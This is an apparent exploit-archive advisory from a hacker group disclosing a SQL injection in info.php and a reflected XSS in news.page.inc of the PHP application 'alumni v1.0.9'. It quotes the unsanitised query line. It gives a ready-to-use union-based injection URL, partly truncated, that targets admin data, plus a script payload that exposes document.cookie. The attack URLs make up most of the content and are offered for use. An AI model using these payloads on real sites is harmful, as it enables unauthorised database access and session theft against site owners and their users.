################################################## #####################################
# #
# ...::::roject alumni v1.0.9 (info.php) SQL Injection Vulnerability ::::.... #
################################################## #####################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team
-------
vuln code in info.php:
line 58:
$result = dbQuery( "SELECT * FROM `".getConfigVal("sqlTablePrefix",2)."_users` WHERE `ID` = '".$_GET['id']."'" );
---
exploit:
http://site.com/info.php?id='/**/uni...0x61646d696e/*
---
and xss in /pages/news.page.inc
http://site.com/index.php?act=news&year=<script>alert(document.coo kie)</script>
-------
young iranian h4ck3rz